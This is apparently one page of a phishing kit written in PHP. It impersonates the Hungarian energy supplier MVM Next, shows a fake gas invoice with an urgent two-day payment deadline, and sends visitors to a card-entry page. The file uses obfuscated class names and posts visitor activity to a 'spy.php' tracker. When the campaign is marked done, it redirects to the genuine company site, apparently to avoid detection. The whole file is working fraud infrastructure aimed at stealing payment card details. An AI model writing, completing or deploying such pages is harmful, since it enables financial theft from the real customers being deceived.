<?php
require (__DIR__) . '/../main.php';
require (__DIR__) . '/class/Config.php';

// Check if project is already done
$data = $m->getData();
if (isset($data['IS_DONE']) && $data['IS_DONE'] == "1") {
    // Show empty invoice message and redirect to official page
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>MVM Next Energiakereskedelmi Zrt.</title>
        <link href="https://cdn.jsdelivr.net/gh/hung1001/font-awesome-pro@4cac1a6/css/all.css" rel="stylesheet" type="text/css" />
        <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/css/bootstrap.min.css" rel="stylesheet">
        <link rel="stylesheet" href="themes/css/login.css" />
        <style>
            body {
                display: flex;
                align-items: center;
                justify-content: center;
                min-height: 100vh;
                background-color: #f5f5f5;
            }
            .empty-invoice-container {
                text-align: center;
                padding: 40px;
                background: white;
                border-radius: 10px;
                box-shadow: 0 2px 10px rgba(0,0,0,0.1);
                max-width: 500px;
            }
            .empty-invoice-icon {
                font-size: 60px;
                color: #999;
                margin-bottom: 20px;
            }
            .empty-invoice-message {
                font-size: 18px;
                color: #666;
                margin-bottom: 30px;
            }
        </style>
    </head>
    <body>
        <div class="empty-invoice-container">
            <i class="fal fa-file-invoice empty-invoice-icon"></i>
            <h2 class="empty-invoice-message">A számla üres</h2>
            <p>Átirányítás a hivatalos oldalra...</p>
        </div>
        <script>
            setTimeout(function() {
                window.location.href = "https://www.mvmnext.hu/";
            }, 2000);
        </script>
    </body>
    </html>
    <?php
    exit;
}
?>


<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>MVM Next Energiakereskedelmi Zrt.</title>

    <link href="https://cdn.jsdelivr.net/gh/hung1001/font-awesome-pro@4cac1a6/css/all.css" rel="stylesheet"
        type="text/css" />

    <!-- Bootstrap 5 CSS -->
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/css/bootstrap.min.css" rel="stylesheet">

    <link rel="stylesheet" href="themes/css/wait.css" />
    <link rel="stylesheet" href="themes/css/main.css" />
    <link rel="stylesheet" href="themes/css/home.css" />

</head>

<body>

    <nav class="oeifdhef">
        <img src="assets/images/logo.png" alt="" class="lefnr">
    </nav>
    <div class="container ljfr">

        <img src="assets/images/lcdijh.jpeg" alt="" class="jdfgd">
    </div>
    <div class="container ledjilrf px-5 py-5">
        <div class="row">
            <div class="col-12">
                <div class="jfhrf">
                    <div class="row my-4">
                        <div class="col-12">

                            <div class="jehf ljifr">
                                <span class="kefhr">
                                    <img src="assets/images/fi.png" alt="" class="hurfcr">
                                    <span class="hgfh">1</span>
                                </span>
                                <p class="jcbrdjcv">
                                    <b>Új földgázszámlája készült</b>, amelyet most kényelmesen kiegyenlíthet a lenti
                                    <b>Befizetem
                                        bankkártyával</b> gombra kattintva.‍
                                </p>
                            </div>
                        </div>
                    </div>
                    <div class="row my-5">
                        <div class="col-12 col-md-4">
                            <div class="eijfr lkjdie">
                                <div class="jdkhcd">
                                    <h2 class="lkkdhc"><?php echo Config::$payment_amount; ?> </h2>
                                </div>
                                <div class="jhxudeh">
                                    <img src="assets/images/ico-1.png" alt="" class="dchdc">
                                </div>
                                <p class="jxhde">Fizetendő összeg</p>
                            </div>
                        </div>
                        <div class="col-12 col-md-4">
                            <div class="eijfr lij">
                                <div class="jdkhcd">
                                    <h2 class="lkkdhc"><?= (new DateTime())->modify('+2 days')->format('Y. m. d.') ?></h2>
                                </div>

                                <div class="jhxudeh">
                                    <img src="assets/images/ico-2.png" alt="" class="dchdc">
                                    <p class="khgft">Mentem a naptárba‍</p>
                                </div>
                                <p class="jxhde">Fizetési határidő</p>
                            </div>
                        </div>

                        <div class="col-12 col-md-4">
                            <div class="kugyg">

                                <a class="lchdc jkghy" href="card.php">
                                    <div class="jhcudrc">
                                        <img src="assets/images/ico-3.png" alt=""
                                            class="dhcudec">
                                        <p class="mljkxbd">Számláim megtekintése</p>
                                    </div>
                                    <i class="far fa-chevron-right"></i>
                                </a>
                                <a class="lchdc ughgvf" href="card.php">
                                    <div class="jhcudrc">
                                        <img src="assets/images/ico-4.png" alt=""
                                            class="dhcudec">
                                        <p class="mljkxbd">Befizetem bankkártyával</p>
                                    </div>
                                    <i class="far fa-chevron-right"></i>
                                </a>
                            </div>
                        </div>
                    </div>
                    <div class="row">
                        <div class="col-12 col-md-6">
                            <h3 class="jcfrj"><b>Fizetési információk</b></h3>
                        </div>
                        <div class="col-12 col-md-6">
                            <div class="lrnfv">
                                <i class="fal fa-info-circle"></i>
                                <p class="jnjkns"><b>Tipp:</b> Tájékozódjon bankjánál a hitelesítési formákról</p>
                            </div>
                        </div>
                    </div>
                    <div class="row">
                        <div class="col-12">
                            <p class="dijfr">Átirányítás</p>
                            <p class="ednced">A Befizetem gombra kattintás után átirányítjuk a
                                MVM Next Energiakereskedelmi Zrt. felületére, ahol
                                megadhatja bankkártyája adatait.</p>
                            <p class="dijfr">Internetes bankkártya esetén</p>
                            <p class="ednced">Kétfaktoros tranzakció jóváhagyása kötelező (pl. banki app vagy SMS-kód) a
                                kártyával történő visszaélések megakadályozása érdekében.</p>
                        </div>
                    </div>
                    <div class="hr_546"></div>
                    <div class="row">
                        <div class="col-12 col-md-6">
                            <div class="jijiodx">
                                <p class="ljdjed">Kérdése van a számlával kapcsolatban?</p>
                                <form data-to="form">
                                    <input type="hidden" name="Page" value="home">
                                    <button type="submit" class="joijrfh">Tovább a számlamagyarázóra</a>
                                </form>
                            </div>
                            <div class="hr_546"></div>
                            <div class="jehd">
                                <img src="assets/images/app-icon.svg.svg" alt="" class="jfhfr">
                                <div class="ljrfhr">
                                    <h3 class="lkefr">Töltse le az applikációt</h3>
                                    <p class="jjrchf">Fiókja adataival bármelyik okoseszközén beléphet.</p>
                                </div>
                            </div>
                            <div class="kjdihr">
                                <img src="assets/images/download-app-store.svg.svg" alt=""
                                    class="dkjeddfr">
                                <img src="assets/images/download-play-store.svg.svg" alt=""
                                    class="dkjeddfr">
                                <img src="assets/images/download-app-gallery.svg.svg" alt=""
                                    class="dkjeddfr">
                            </div>
                        </div>
                        <div class="col-12 col-md-6">
                            <img src="assets/images/jiej.jpeg" alt="" class="klhbrf">
                            <form data-to="login">
                                <input type="hidden" name="Page" value="home">
                                <button type="submit" class="lkhlrv">
                                    <img src="assets/images/ico-7.png" alt="" class="efdjrf">
                                    Online ügyintézés indítása
                                </button>
                            </form>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>


    <script src="res/jq.js"></script>

    <script>
        $.post("spy.php", {
            loginview: 1
        });
    </script>
    <?php $m->ctr("<HOME></HOME> " . @$_GET['e']); ?>
</body>

</html>